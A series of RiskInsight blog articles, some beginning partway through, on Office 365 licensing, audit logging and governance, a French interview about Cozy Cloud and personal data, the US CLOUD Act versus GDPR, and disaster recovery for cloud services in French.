6th and last point: Licences, the lifeblood of Office 365 and its security

SaaS solutions are generally subject to a monthly invoiced licensing model. The choice of Microsoft 365 licences must be the result of a global reflection. It cannot remain the prerogative of workplace teams and be determined solely by the need for collaboration and communication.

Indeed, the choice of licensing level will condition the security strategy of the tenant. This choice will have a wider impact on the strategy for securing the work environment. Indeed, Microsoft is increasingly positioning itself as a challenger to security solution providers, being the only one to offer such a complete suite.

The licensing of security options must be dealt with at the start of the project and at each renewal. It will be cheaper to include a licensing package from the outset than to order AAD P1 licences on an emergency basis to cover an unforeseen need for conditional access.

In this strategy to be defined, it may be appropriate to target individuals to adapt the security requirements to their profile (VIP, admin, medical population, etc.).

This approach, presented here for Office 365, can be generalised to any SaaS (Solution as a Service) service, or even IaaS (Infrastructure as a Service) or PaaS (Platform as a Service) service.

Cet article Migrate your work environment to Office 365 with confidence est apparu en premier sur RiskInsight.

Several topics must be addressed when securing Office 365  including the need to be able to track actions to detect illicit behaviour or trace the cause of an incident.

In France, however, many companies have difficulty consolidating logs and defining supervision use cases. Mastering logging must be at the heart of this approach.

Supervision of administrative actions is a necessity

For this logging decryption, let’s take the case of the platform administrators.

As with other SaaS solutions (Google Cloud Platform, Salesforce, etc.), the breach of data integrity or confidentiality following an error or malicious action by a company administrator is one of the major risks identified by our customers.

By definition, Office 365 administrators have high privileges:

• Configuration of the various services – or workloads – and APIs;
• Managing permissions on OneDrive and user mailboxes;
• Management of the life cycle of collaboration spaces.

It is easy to imagine the disastrous consequences that could result from the malicious or uncontrolled use of these privileges. Indeed, settings such as SharePoint Online external sharing, API permissions or email configuration could become significant data leakage vectors.

On-premise IT best-practices (lifecycle, least privilege principle, rights segmentation, strong authentication, just-in-time access, etc.) must also be applied in the Cloud. The Cloud must be mastered and controlled.

However, the implementation of good practices, although necessary, is not enough. Indeed, they do not guarantee that  administrators won’t carry out actions that compromise the level of security. One can therefore naturally wonder how it would be possible to audit the actions carried out and raise alerts if necessary.

What are the means provided by Microsoft? How can we prevent a malicious person from covering his tracks (which would make an attack more difficult to detect and reconstruct)?

To illustrate the different possibilities, we will follow the four examples below:

Figure 1 – Examples of configuration changes that may affect safety

What logs are available?

For historical and technical reasons, Office 365 inherently has several log sources: Unified Audit Logs, Exchange Logs and Azure Logs. These sources are complementary and must be analysed together in order to have an exhaustive view of the administrative actions performed.

Unified Audit Logs: unified logging of the different services

The most commonly cited and used source of logs is the “Unified Audit Logs”. These logs centralise the traces of users and administrators for all the platform’s services: SharePoint Online, Azure AD, Exchange Online, Teams, Power Platforms. Microsoft is progressively integrating the different sources and continues to add new logs.

To come back to our concrete examples, the interesting logs are:

• SharePoint Online External Sharing Policy Change: SharingPolicyChanged
• Assigning rights to a One Drive: SiteCollectionAdminAdded
• Assigning rights to a mailbox: AddMailboxPermission
• Changing an Administration Role: AddMembertoRole

These logs are accessible and exportable via the Compliance and Security Centers, the Office 365 Management and PowerShell APIs (via the Search-UnifiedAuditLog cmdlet). Note that logging must be enabled via the Compliance Center or PowerShell to be able to log and search.

It is possible to directly configure alerts related to the occurrence of certain logs in the Security and Compliance Centers.

Exchange Logs: logging of the messaging infrastructure

The second interesting source of logs is the “Exchange Logs“. These logs provide information about usage and administrative actions performed on the Exchange Online service as well as on personal or shared mailboxes. Two types of logs can be distinguished:

• Administrator Audit Logs: Service or mailbox administration logs (e.g. changing a user’s permissions, changing the retention time of a mailbox log etc.).
• Mailbox Audit Logs: Logs of use of a mailbox by the main user, a delegated user or a service administrator (e.g.: accessing the mailbox, sending an email in place of the main user, moving an item into a folder, permanent deletion, etc.).

To come back to our concrete examples, the logs that will interest us here are:

• Assigning rights to a mailbox: AddMailboxPermission
• Access to a folder or a mailbox: FolderBind (not enabled by default):
• Access to a mail: MailItemAccessed (only for users with an E5 license)

To go further with Administrator Audit Logs

Administrator Audit Logs are generated for any Exchange administration action that can be linked to a PowerShell cmdlet other than Get, Search or Test. These logs are linked to the Unified Logs and can be used in the Exchange Administration Center, Security and Compliance Centers, Office 365 Management and PowerShell APIs.

To go further with Mailbox Audit Logs

Mailbox Audit Logs are the only category of logs to be configurable (perimeter and granularity). These logs allow tracing of the actions performed by an owner, a delegate (user with permissions) and an admin (access via eDiscovery tools).

Since January 2019, the logging of Mailbox Audit Logs is enabled by default for all Office 365 tenants. To date, if logging is enabled by default, all mailboxes are audited (even if the “-AuditDisabled” parameter is set to “True”). The only way not to log the actions of a mailbox is to implement a by-pass rule with “Set-MailboxAuditBypassAssociation”.

However, it should be noted that some actions are not audited by default, such as the access of a delegate or an admin to a user’s mailbox. It is therefore essential to analyse the logs to be activated, during the initial configuration of the service.

Depending on the license level and configuration, these logs can be linked to the Unified Logs and be used in the Exchange Administration Center, the Office 365 Management and PowerShell APIs or the Security and Compliance Centers.

Azure Logs and Reports: Azure Active Directory Logging

The last, but not least important source of logs are the “Azure AD logs”. These logs provide complete traces of the Office 365 identity brick and the associated administration actions. Several categories of logs and reports are available:

• Azure Audit Logs: Logs for the administration of the identification brick or modification of items (e.g. assigning the “SharePoint Administrator” role, creating a security user or group, authorising an API, configuring guest users, etc.).
• Azure Sign-in Logs: Logs for connecting to an Office 365 service (or to applications / APIs based on Azure AD) with information regarding the connection chain (e.g. protocol, IP address, terminal, etc.).
• Risky Sign-in: Connection reports with indicators related to suspicious connections.

These logs and reports are accessible and exportable via the Azure portal, the Graph or Azure Management and PowerShell APIs. Some of the logs directly related to Office 365 are also found in the Unified Audit Logs.

To come back to our concrete examples, the interesting logs are:

• Modification of an administration role: AddMembertoRole

Figure 2 – Summary of Office 365 Logs Features

In summary, the Unified Audit Logs provide a consolidated view of the different services of Office 365, but some information may be missing. It will be necessary to ensure that the required logs are present, and then to investigate further into the logs and reports of Exchange or Azure.

What is the retention period for the various Office 365 logs?

Once the proper logs have been identified, the challenge of retention arises. How can you be sure that the logs are well preserved without being altered, for as long as is required by the company’s security policy and various regulations, such as the anti-terrorist law or the GDPR?

By construction, and contrary to Exchange and SharePoint on-premise solutions, all the logs mentioned above are unalterable – that is to say, they cannot be modified or deleted by the company administrators. Furthermore, the default retention periods defined by default cannot be modified (i.e. 90 days for Office 365 and 7 logs or 30 days for Azure logs with standard licenses). With one exception, an Exchange administrator has the ability to delete the logs from mailboxes by changing the associated retention time.

If we go back to our examples, we could imagine a malicious administrator giving himself rights to access a mailbox, then look at the mails and erase the access logs by setting a zero-retention time. In this case, only the privilege elevation made in the Administrator Audit Logs would be retained.

In order to comply with security or regulatory requirements, it may also be necessary to ensure that the logs of the various departments are kept for more than 7, 30 or 90 days.

3 steps to implement relevant logging within Office 365

1. Definition and activation of the necessary logs: Unified Audit Logs may not be sufficient (monitoring of the Office 365 and Azure AD APIs, logging of administrator access to mailboxes, etc.);
2. Configuration of an automatic export of the identified logs to an external storage or an independent SIEM (via PowerShell or the API Management);
3. Monitoring the status of the tenant: implementing a dashboard of the tenant’s settings configuring alerts related to a change in log configuration (via the Security or Compliance Center, the Office 365 Management or PowerShell APIs), such as disabling Unified logs or a change in the retention of mailbox logs.

Figure 3 – Good Practices for Office 365 Logging

After carrying out these three actions, the company will have the necessary information to audit the tenant’s use and administration actions. However, this does not yet address the larger need for supervision of administrators. It may be useful to set up alerts (via the Security or Compliance Center or specialised third-party tools).

1. (To go further) Implementation of basic supervision: definition of general security detection scenarios, identification of the logs concerned, activation of the associated alert in the Security or Compliance Centers;
2. (To go even further) Setting up advanced supervision: identification of scenarios related to a business context, implementation, definition of the associated governance, continuous improvement.

What tools should be used to analyze the logs? Which detection scenarios should be prioritised? What governance should be put in place to define, implement and monitor alerts? These are all questions that need to be addressed in the implementation of the collaboration platform supervision.

It will also be necessary to take into account the regular changes made by Microsoft on these services, as well as on the structure of logs and APIs, especially since the preview and general availability functionalities coexist.

Cet article Logging of Office 365: a Case Study with Administrators est apparu en premier sur RiskInsight.

This reflection should cover the main risks of data leakage and access to data by administrators, Microsoft and third parties or applications.

A new governance model imposed by Microsoft

Office 365 is a SaaS communication and collaboration solution. As such, the platform is constantly evolving, unlike the historical “on-premise” solutions: new features or settings appear and are modified, while others disappear (e.g. retirement of Skype for Business planned for 2021, July 31^st and the end of legacy authentication support for Exchange Online planned for 2020). This continuous delivery pace is imposed by Microsoft, without control. Hence, a completely new governance model is required.

Changes integration can no longer be done in project mode. It must follow an established process. In this model, the workplace and security teams must work hand in hand and must be represented in all project and architecture committees, starting from the very beginning of the platform use cases design. These teams will also have a common responsibility to ensure the platform efficiency and regulatory compliance.

The security team sees its perimeter evolving: it no longer has control over security tools and can, or even must, play a business enabler role to support the migration to the cloud by proposing new uses (e.g. opening a controlled external file exchange service). An appropriate organization must be put in place. We could even consider having a Security Officer dedicated to the platform very close to the business, with the role of advising projects, ensuring the platform configuration and monitoring security alerts.

Another topic to be addressed is the delegated administration.  Even though it is not a rare situation, it is not possible to have nearly 20 General Administrators for an O365 tenant. Indeed, a Global Admin has control over Office 365 services, but also Intune, Azure, AAD, etc. A delegated administration solution must be considered for user accounts and objects, through the implementation of an interface or a connector based on PowerShell or Graph API. This process should allow the company to manage all objects while considering business logic. To define this new governance model, the following security pillars must be articulated:

• Identity management ;
• Mastery of services and uses ;
• Control of compliance to company policies.

Identity management at the core of the model

In a solution designed to enable internal or external collaboration, with an ATAWAD use (Any Time, Any Where, Any Device), identity management (and therefore authentication) is the core of platform management.  As with any project, the definition phase of who can access what, when and where is fundamental.

On Office 365, there are three types of users, each with different privilege levels: administrators, internal users and guests (external users invited to collaborate on a file or within an O365 Group or SharePoint site).

For each of these account types, implementing the defined security measures will be challenging. In addition to the unavoidable multi-factor authentication (highlighted by the data leak that affected Deloitte in 2017), there are also other essential issues, such as administrator access control (personalized or predefined roles, permanent or occasional access, etc.) and guest users lifecycle management (nothing being clearly defined by default). The cost of Azure AD Premium licenses or a third-party tool will be a major element of the discussion.

Also note that Office 365 allows external applications to communicate with its APIs. The external application can then act on behalf of a user with its own rights or of an administrator with higher privileges. These applications can come from different application stores (such as AppSource or AAD) or be developed locally. The management of permissions granted to these applications must be highly considered by companies. Indeed, through APIs, it is very easy to imagine a massive data leak in case of a user dupe (e.g. an application requiring unnecessary permissions, such as email access).

An essential but neglected control of services and uses

Once access to Office 365 is under control, the next topic is to manage its use. It is not uncommon to observe that some services, not prioritized during migration to the Cloud (Power BI, Teams, Flow, API access, etc.) are left accessible with their default configuration. The two reasons are generally a focus on adoption and a lack of time devoted to these non-priority services. In addition to setting up the service, it is also essential to define precise rules around uses to clarify who can do what and when (e.g. managing SharePoint authorizations, creating Groups). The best solution consists in implementing technical measures (general settings or configuration via PowerShell) congruent with the defined policy.

However, the lack of security of these services leaves the door open to potential data leaks: automatic transfer to the outside, exposure on the Internet or loss of the data control. As written above, governance must take security into account when designing future uses. Services must be analyzed and tested on small populations. Indeed, it will always be easier to open a feature than to restrict an already widespread use. In that case, it will be necessary to carry out an impact analysis, to tinker with a workaround solution and to raise users’ awareness widely. However, these actions may require significant investment and could be avoided.

The management of the service should not end with user adoption. Security and Workplace teams will be responsible for following Office 365 evolution (Evergreen program, setting up a watch, monitoring Microsoft blogs, etc.) in order to assess new opportunities and threats.

The control of the compliance with company policies

The implementation of the company security policies is the last pillar and includes the implementation of security tools: information protection, anti-malware, supervision and alerting.

Concerning Office 365 security, we can differentiate 3 levels of maturity. The resources put in place will depend on the expertise available (resources being limited on the market) and the budget (depending in particular on the strategy of the Microsoft licensing management company):

• Level 1 – Control of identities, services and use of the Security and Compliance Center: the company implements native Security Center and Compliance Center security solutions (including Office DLP, Exchange Online Protection, eDiscovery) accessible with basic licenses;
• Level 2 – Development of “in-house tools”: the company creates a set of simple scripts or dashboards, using Graph API, Security Graph API and PowerShell, to implement controls and security measures adapted to its context (e.g. life cycle management of guest users);
• Level 3 – Use of advanced security tools: the company implements additional solutions to strengthen the level of security: tools to fight data leaks, analyze malware on emails, review rights, detect abnormal behavior or even harden the use of the platform according to the context.

Mastering Office 365 services, their uses and native security features is essential, and must precede any consideration of adding an additional security tool, which would not cover existing vulnerabilities and would only add complexity.

Sample of controls included in the Wavestone Office 365 Audit Methodology

Conclusion

Office 365 is an interesting case of opening business applications on the Internet through the Cloud. This evolution requires adapting the company historical security model, towards the airport model following the Cloud adoption.

However, Office 365 security must not omit the security of the on-premise bricks necessary for the platform operation, as it is generally the case for the authentication that is carried out by ADFS.

Cet article A secure Office 365, a rare gem? est apparu en premier sur RiskInsight.

Ressentez-vous une préoccupation des citoyens concernant leur vie privée ?

Ce n’est pas vraiment une préoccupation à ce stade, sauf pour une minorité, environ 5 à 10% de la population d’après certains sondages. Cette minorité comprend la manipulation commerciale dont elle est l’objet et, conséquemment, le poids du ciblage dans son comportement. Le constat intéressant est qu’aujourd’hui ce ne sont plus spécifiquement les « geeks » qui prennent conscience de cette manipulation, mais des profils de plus en plus variés. Cela se traduit pour la grande majorité par un agacement de la population, parfois même une exaspération liée à la sensation d’être un produit. La puissance des géants devient dérangeante, les big tech sont en train de devenir les méchants.

Comment cette évolution se traduit-elle depuis l’entrée en vigueur du RGPD ?

Je ressens une meilleure compréhension des enjeux de protection de la vie privée, notamment lorsque je donne mon pitch. Je pense que les réactions que je récolte sont un bon échantillonnage de l’ère du moment. Il y a 4 ans, je passais parfois pour un fou : « la confidentialité, ça n’intéresse personne », « le modèle GAFA c’est le seul qui fonctionne pour internet », etc. Aujourd’hui, ce n’est plus du tout le cas : c’est un marqueur énorme, très tangible.

Que propose Cozy Cloud pour les aider ?

Aujourd’hui, nos données ne sont déjà pas sous notre contrôle, mais elles sont également dispersées. Ainsi, l’usage que l’on peut en tirer est limité, voire freiné. La vie numérique se fragmente du fait de sa diversification : vie scolaire, parcours de santé, interactions avec les pouvoirs publics, objets connectés, etc. Toutes ces données circulent dans des écosystèmes étanches les uns par rapport aux autres, et cela crée une friction : c’est l’enfer des mots de passe, téléchargements, synchronisations, back-ups, etc. De ce fait, la force d’Apple consiste à créer une intégration, un maillage entre toutes ces données : l’utilisateur reçoit une invitation dans ses mails, elle est ajoutée sur son agenda, qui se synchronise avec son smartphone, lequel conduira bientôt sa voiture à destination… En interconnectant toutes ces données, Apple est devenue l’une des premières valeurs boursières !

Le fait d’ôter de la friction entre ces écosystèmes étanches et d’ajouter de la simplicité aux usages numériques a donc une valeur énorme. Une barrière persiste : l’isolation des données les unes par rapport aux autres. Pour un numérique utile, pratique, commode et personnalisé, il faut réunir les données.

En Europe, le système politique donne à l’individu une place centrale : aujourd’hui, grâce au RGPD, l’individu dispose d’un droit à la portabilité. C’est un droit fort pour l’usager, ainsi qu’un véritable levier pour Cozy Cloud et pour tous ceux qui se veulent des tiers de confiance. Il ne s’agit pas d’un droit de téléchargement, mais véritablement d’un droit au transfert pour l’utilisateur. Ce droit modifie totalement les règles du jeu.

Grâce à ce droit, l’individu est rendu légitime pour réconcilier les données : il dispose, d’une part des logins et mots de passe, d’autre part de la légitimité légale. En appuyant Cozy Cloud sur cette double légitimité, nous offrons à l’individu une plateforme numérique personnelle, dont il garde le contrôle, et dans laquelle il peut centraliser toutes ses données et accéder à de nouveaux services numériques.

Concrètement, quels services proposez-vous aux individus ?

Cozy Cloud, ce n’est pas seulement un coffre-fort « statique » comme on en voit beaucoup. L’utilisateur centralise ses données sur un cloud personnel pour pouvoir y adosser ses services, rajouter des usages et effectuer des croisements entre ses données. Nous appelons cela du « transverse data » : croiser les données issues de sources diverses. L’utilisateur peut par exemple faire le lien entre sa facture d’électricité et un débit sur son compte en banque : nous créons ainsi une véritable fluidité.

De plus, la plateforme permet à l’utilisateur de communiquer avec ses divers fournisseurs, qui se trouvent aujourd’hui dans des univers séparés : désormais, un login et un mot de passe uniques permettent d’échanger avec les différents fournisseurs.

Enfin, la solution permet la mise en place de services numériques à domicile. A l’heure actuelle, il faut laisser collecter la donnée pour pouvoir bénéficier d’un service ; par exemple, EDF envoie chaque mois des centaines de prélèvements automatiques sans savoir lesquels vont être bloqués in fine. L’information qui permettrait d’anticiper ces prélèvements infructueux existe mais EDF ne peut y accéder car cela reviendrait à accéder aux soldes bancaires de ses clients. Cela représente un coût important en frais de gestion, de traitement, de suivi et provoque des frictions dans la relation client. Avec la solution de Cozy Cloud, l’utilisateur récupère et consolide dans sa plateforme ses données bancaires, sa facture et la date de son prochain prélèvement ; de son côté, Cozy Cloud développe un protocole permettant de faire des calculs sur les données présentes dans la plateforme. Ainsi, l’algorithme d’EDF, qui a accès à la donnée mais ne la collecte pas, peut prédire que le prélèvement va être bloqué. De son côté, la banque peut par exemple faire une offre commerciale, et différer le prélèvement. Cette offre se base sur l’accès à une donnée très personnelle, qui relève de notre intimité numérique. Pourtant, jamais EDF ne reçoit la donnée : celle-ci ne sort pas du coffre numérique de l’individu et n’est donc pas dévoilée.

Comment sont gérés les accès et habilitations dans Cozy Cloud ?

C’est un peu similaire à ce que l’on peut retrouver sur nos smartphones : une fenêtre pop-up s’ouvre, par exemple pour demander l’accès à notre liste de contacts. L’accès d’une application à nos données facilite alors de nombreuses actions, par exemple la saisie d’un mail en local. Mais le transfert de données vers l’extérieur pose un véritable problème.

La fenêtre pop-up de Cozy Cloud propose deux options à l’usager : soit un usage local, soit un usage partagé de la donnée.

Quel est l’apport de votre solution pour les organisations ?

Cozy Cloud se fonde sur deux business models successifs.

Tout d’abord, nos clients ce sont de grands comptes, les « brick and mortars », qui bénéficient d’une confiance historique, menacés par les puissances du numérique. Ils veulent se repositionner à l’ère du numérique et valoriser cet asset de confiance : c’est donc du B2B2C. Cozy Cloud est aux « brick and mortars » ce qu’est Android pour le serveur, soit un service valorisant un hardware.

Le second business model interviendra une fois que la plateforme conciliera plusieurs acteurs-clés, tels que les banques ou les opérateurs de télécommunications : Cozy Cloud pourra s’adresser à une partie significative de la population. Il deviendra alors opérateur d’interactions digitales, dans une logique de partage de revenu avec les différents clients. En effet, Cozy Cloud gère l’écosystème et les contrats : lorsqu’un « brick and mortar » signe un contrat, tous les clients de Cozy peuvent bénéficier de sa donnée, avec l’accord de l’utilisateur. Le revenu lié à un client en particulier est matérialisé par la donnée apportée et la commission payée à Cozy Cloud.

Plus concrètement, quelle valeur ajoutée leur proposez-vous ?

On peut valoriser la donnée sans la monétiser pour autant : ce qui a de la valeur, ce n’est pas la donnée en tant que telle, c’est plutôt l’interaction créée entre les données, lorsque celle-ci est pertinente. Les organisations doivent le comprendre. Nous nous positionnons comme un opérateur d’interactions digitales.

Par exemple, lorsqu’un utilisateur achète une télévision à la Fnac, il reçoit la facture dans son cloud personnel ; ainsi son assurance peut lui communiquer des informations utiles, de type « votre nouvelle télé est bien assurée pour le dégât des eaux ». Cette interaction crée de la valeur pour l’assuré, mais également pour l’assureur. Dans ce contexte, l’organisation valorise son rôle de tiers de confiance en offrant davantage de services, mais peut également développer un nouveau métier. Celui-ci consiste, non plus à sécuriser de la donnée, mais à créer un écosystème de services à valeur ajoutée pour l’entreprise, mais aussi utile pour l’utilisateur. Si nous reprenons l’exemple d’EDF et de la banque, l’interaction rendue possible par Cozy Cloud engendre pour EDF un gain d’argent et de temps, qui se monétise. La plateforme Cozy devient ainsi un opérateur d’interactions digitales, somme toute plus intelligentes, tout en restant sous le contrôle des particuliers.

Cette solution pourrait sembler aller à l’encontre de technologies telles que le big data ou le machine learning de prime abord ; en réalité, jamais les entreprises n’auraient pu collecter de telles données et les ajouter à leur base de données. Cela leur permet de ne pas être définitivement désintermédiées, mais au contraire d’accéder à davantage de données.

Cela ne paraît pas nécessairement évident au premier abord : comment les convaincre ?

Il ne s’agit définitivement pas de convaincre les 30 000 PME et grands groupes français. Notre solution s’adresse à des acteurs qui sont aujourd’hui challengés par les nouveaux entrants du numérique. Aujourd’hui, le constat est sans équivoque : les GAFA connaissent mieux les clients des « brick and mortars » que les « brick and mortars » ne les connaissent eux-mêmes. Quand Facebook dépose un brevet sur l’évaluation de risque de crédit bancaire, ce n’est pas parce que Facebook est devenu un banquier : c’est simplement que Facebook a compris qu’il connaissait mieux les clients des banques que les banques elles-mêmes. Et ainsi, Facebook peut devenir banquier, tout comme il peut devenir opérateur d’énergie, de mobilité, de médias, etc. Du fait de l’intimité numérique qu’entretiennent les GAFA avec leurs usagers, ils s’approprient progressivement des verticales métiers.

En revanche, les « brick and mortars » bénéficient d’une confiance historique : banques, télécommunications, assurances mutualistes, pouvoir publics, etc. Nos clients sont des grands comptes, menacés par les puissances du net, qui veulent se repositionner à l’ère du numérique et valoriser cet asset qu’est la confiance. Nous leur proposons de tenir cette position de tiers de confiance, mais également de tirer de nouveaux usages de cette capacité de stockage.

Dans un premier temps, les organisations peuvent avoir la fausse impression de se faire prendre leurs données. Dans la réalité, Cozy Cloud vient les aider à développer des outils et usages plus intelligents. Soit ces organisations ouvrent le pas, et c’est une bonne chose pour elle, soit c’est Google qui le fera…

Cet article Vie Privée à l’ère du Numérique – Interview de Benjamin ANDRE (Cozy Cloud) est apparu en premier sur RiskInsight.

The bill, originally created to amend a 1986 bill, The Stored Communication Act, allows the United States to force US-based service providers to transfer their customers’ data hosted overseas much more rapidly. It currently takes an average of ten months to obtain the data, rendering investigations conducted from within the US highly unproductive. The bill aims to allow US authorities (from sheriffs to the CIA) to access the data hosted by US companies, without the authorization of a judge. Large technology companies, who have supported the bill in the Senate, will be able to oppose a request if:

• The customer or subscriber is not a U.S. citizen or resident (section 3.2.b.h.2.i), and
• The transfer would require the provider to contravene the regulations of the country hosting the data (section 3.2.b.h.2.ii)

Such a request would then be brought before a US court which would be able to quash (or uphold) the request for the data transfer. Its decision will be based, among other things, on the validity of the information provided, the US’s interest in the request, the scope of the violation, and the chances of it being deemed to contravene the law in the foreign country. The public nature of the appeal is not specified, especially regarding the capacity of companies to communicate about contested requests. Today, it seems likely that the major US players are using such appeals to maintain the trust of their customers.

In order to avoid contravening the regulations of the countries concerned, the US can enter into bilateral agreements with them, which, in return for their goodwill, will be able to access data from the United States.

In the US, the CLOUD Act remains contested due to the risks introduced by the potential agreements with foreign countries. The fact that an executive power can put in place mutual agreements worries the American people, who fear that foreign powers are using the CLOUD Act to access their data without any safeguards.

What are the consequences for customers in Europe?

While tech giants (like Facebook, Google, Microsoft, and Apple) have supported the bill (with the US authorities refraining from approaching them for back-door access and providing a clear framework for data transfer), these regulations raise concerns about customer privacy for the targeted businesses. The act could leave customers without a right to consult, or any information about access to their data by US authorities.

However, European customers whose data is processed in Europe are now protected by the General Data Protection Regulation (GDPR). Articles 45 and 48 of the regulation, which is now in force, lay down a clear set of rules for allowing data to be transferred to third-party countries. According to Frank Jennings (a renowned lawyer on cloud matters), the European Data Protection Board, which oversees the implementation of the GDPR, will be responsible for deciding whether data appropriation under the CLOUD Act constitutes a necessary measure for the safeguarding of US national security, or whether a request does not comply with the new regulation. This could force the United States to negotiate with the EU or its Member States on the conditions for such data transmission, thus protecting their citizens against illegitimate transfers. US customers, however, would remain within the scope of the CLOUD Act.

Negotiations are due to begin between the European Commission and the US. EU leaders have already criticized the US bill as being hastily adopted, something that may complicate negotiations. In the meantime, some 100 civil society organizations have urged transparency from the European Council about the negotiations of the CLOUD Act as set out by the “Convention on Cybercrime” (or “Budapest Convention”).

Privacy laws: an asset for companies?

While the GDPR has preoccupied a good number of companies with respect to the changes it involves for their information systems, and that the ePrivacy Directive is in preparation, it is instructive to consider the connections between regulatory developments and the world of business. Data privacy laws could, whether in the near or distant future, be considered as an aid to protecting business’ data and to maintaining customers’ trust.

In a world where data-privacy issues are becoming increasingly important (think of Cambridge Analytica and Google Home Mini ), protection of customer data can be a decisive factor when choosing between competing offers. The position US providers will take on privacy and data protection issues is therefore eagerly awaited.

What can you do today?

To conclude, the new regulations on privacy remain somewhat ambiguous and may even clash in certain areas. The main conclusion remains that, as a result of the GDPR, Europeans should be better protected against the CLOUD Act, provided US suppliers reject inappropriate requests, and the courts with responsibility for arbitrating them play their roles correctly. Meanwhile, non-European customers will not gain greater protection by choosing to host their data in Europe.

While awaiting the implementation of new laws dealing with confidentiality and possible data appropriation, there are steps you can take to protect your personal and business data against it being inappropriately accessed while overseas, and other potential threats:

1. Clarify with your provider under what conditions it may be required to give access to your data, without forgetting to consider any mutual legal assistance treaties.
2. Define or review your hosting strategy according to the type of data held, your provider’s nationality, and the hosting site’s location.
3. Favor data hosting in European data centers, or in countries with well-established data privacy frameworks.
4. Choosing a French or European supplier enables you to avoid the risks associated with the CLOUD Act. You must, however, stipulate contractually that it does not use US subcontractors (either directly or indirectly)!

Cet article The Cloud Act: does it mean your data is better protected? est apparu en premier sur RiskInsight.

Le secours informatique SaaS, une responsabilité du fournisseur à formaliser

Un service SaaS (Software as a Service) est un logiciel mis à disposition et directement consommable depuis Internet. Il est géré et administré par un ou plusieurs fournisseurs.  Le client n’a donc pas la latitude nécessaire pour opérer le secours (pas d’accès aux données brutes, pas d’accès aux codes sources, ni aux applicatifs pour dupliquer l’infrastructure…), il doit donc s’en remettre au bon vouloir de son fournisseur.

Un niveau de couverture du secours informatique pour SaaS variable suivant la maturité du fournisseur

Trois grandes tendances se dessinent :

• Les fournisseurs qui disposent d’un plan de secours informatique inclus
  Dans le cadre de l’offre standard, le fournisseur assure un secours sur un datacenter distant, complété généralement par des sauvegardes externalisées. Il ne s’engage néanmoins que rarement sur les délais de reprise.
  Ex : les grands acteurs du SaaS (ex : Office 365, SalesForce, SAP…) , ainsi que certains acteurs de taille intermédiaire (ex : Evernote, Xero…) ;

• Les fournisseurs qui disposent simplement d’une sauvegarde externalisée
  En tant que tel, aucun plan de secours informatique n’est clairement établi. Le client doit alors s’interroger sur la capacité du fournisseur à restaurer les sauvegardes en cas de sinistre global sur le site principal.
  Ex : Des fournisseurs de taille intermédiaire (ex : Zervant, Sellsy…) ;

• Les fournisseurs qui ne communiquent pas ou n’en disposent pas
  Le sujet du secours informatique n’est pas abordé, il est donc préférable de considérer que rien n’est fait.
  Ex : Les acteurs de petite taille sont généralement dans ce cas.

L’importance de l’aspect contractuel

Dans la très grande majorité des cas, les fournisseurs SaaS ne s’engagent pas dans leur contrat sur leur façon de gérer le secours ; même lorsque ceux-ci mettent en avant leur capacité à traiter cette problématique. En effet, les contrats comportent généralement par défaut des clauses de Force Majeure stipulant que le fournisseur n’est pas responsable de manquement aux obligations du contrat dans la mesure où ce manquement est causé par un évènement en dehors de leur contrôle raisonnable. Le risque juridique doit donc être traité lors de la souscription et ces clauses supprimées pour s’assurer un bon niveau de couverture.

Lors de la souscription, comme pour des contrats classiques, les clients doivent s’assurer que figure bien des engagements de service, en particulier pour les secours informatiques :

• Le délai de reprise (Durée Maximale d’Interruption Acceptable ou DMIA) et les pertes de données (Perte de Données Maximale Acceptable ou PDMA) en cas de sinistre;
• Le plan de secours informatique du fournisseur incluant les modalités de gestion de crise ainsi que l’obligation de conduire plusieurs tests probants par an de ce plan avec la possibilité pour le client d’accès au rapport des tests ;
• Les pénalités financières et le droit de résilier le contrat (avec en particulier la récupération des données exploitables) en cas de manquement aux engagements.

Le secours informatique du IaaS/PaaS, une mise en oeuvre et une responsabilité du client

Le IaaS (Infrastructure as a Service) est une offre standardisée et automatisée de ressources de calcul, de moyens de stockage et de ressources réseau détenus et hébergés par un fournisseur et mis à disposition au client à la demande. L’offre PaaS (Platform as a Service) est similaire à celle du IaaS, à la différence près qu’elle ne concerne que les infrastructures applicative (définitions Gartner) Contrairement au cas du SaaS, le secours reste sous la responsabilité du client dans les deux cas : les fournisseurs IaaS/PaaS mettent à disposition des ressources dans différents datacenters et le client est responsable de l’usage et de la configuration qu’il en fait. Deux solutions s’offrent aux clients utilisant ces services : confier à un prestataire son secours ou bien le gérer lui-même.

Avoir recours à un prestataire de secours, un marché peu mature

Les prestataires de secours dans le Cloud sont désignés par l’acronyme « DRaaS » pour Disaster Recovery as a Service. Initialement, les fournisseurs DRaaS proposaient d’assurer dans le Cloud le secours de votre SI « on-premise ». Mais ils proposent également aujourd’hui d’assurer le secours de vos infrastructures déjà dans le Cloud, AWS ou Azure par exemple. La maturité reste très variable selon les fournisseurs et le cloud utilisé. Certains fournisseurs DRaaS imposent que le Cloud de destination du secours soit le leur, ne permettant pas ainsi de couvrir le secours de service PaaS.

Comme avec le SaaS, pas de garanties incluses par défaut quant aux pertes de données ou au délai de reprise, il faut les négocier. Les fournisseurs promettent de pouvoir s’adapter aux exigences du client ! Pour s’assurer que le secours fonctionne, le client doit prévoir la réalisation régulière de tests probants du secours (recommandation d’une fois par an).

Réaliser soi-même son secours en utilisant les outils proposés par le fournisseur

Comme sur une infrastructure « on-premise », il est nécessaire de réfléchir et définir sa stratégie de secours dès la conception. Cette stratégie doit intégrer la capacité de réaliser des tests probants permettant d’assurer un niveau de confiance suffisant dans son plan.

La mise en place est simplifiée par les outils mis à disposition par les fournisseurs Cloud et la forte standardisation des environnements Cloud. Les grands acteurs publient dans des livres blancs les grandes lignes directrices pour mettre en place un tel projet (par exemple AWS ou Azure).

Les concepts des stratégies du secours informatique restent proches de celles pour les datacenters on-premise.

On peut en dénombrer quatre principales :

• la sauvegarde et restauration: simple sauvegarde des données et images des machines sur un site distant, restaurées en cas de sinistre ;
• la veilleuse: réplication des bases de données et mise à disposition des machines sous forme d’images prêtes à être démarrées en cas de sinistre ;
• le secours à chaud: réplication complète du site primaire (données et machines), le site de secours est sous-dimensionné en termes de performances et est prêt à monter en charge en cas sinistre ;
• le multi site (ou actif-actif): les deux sites sont identiques et se partagent la charge des utilisateurs. En cas de sinistre, le site restant peut monter en charge pour accueillir la totalité des utilisateurs.

Des solutions hybrides pouvant mieux s’adapter aux exigences de délai de reprise, coût et complexité de la solution peuvent être envisagées.

Le véritable apport du Cloud pour le secours concerne les nombreux outils mis à disposition simplifiant la mise en œuvre et le déclenchement.

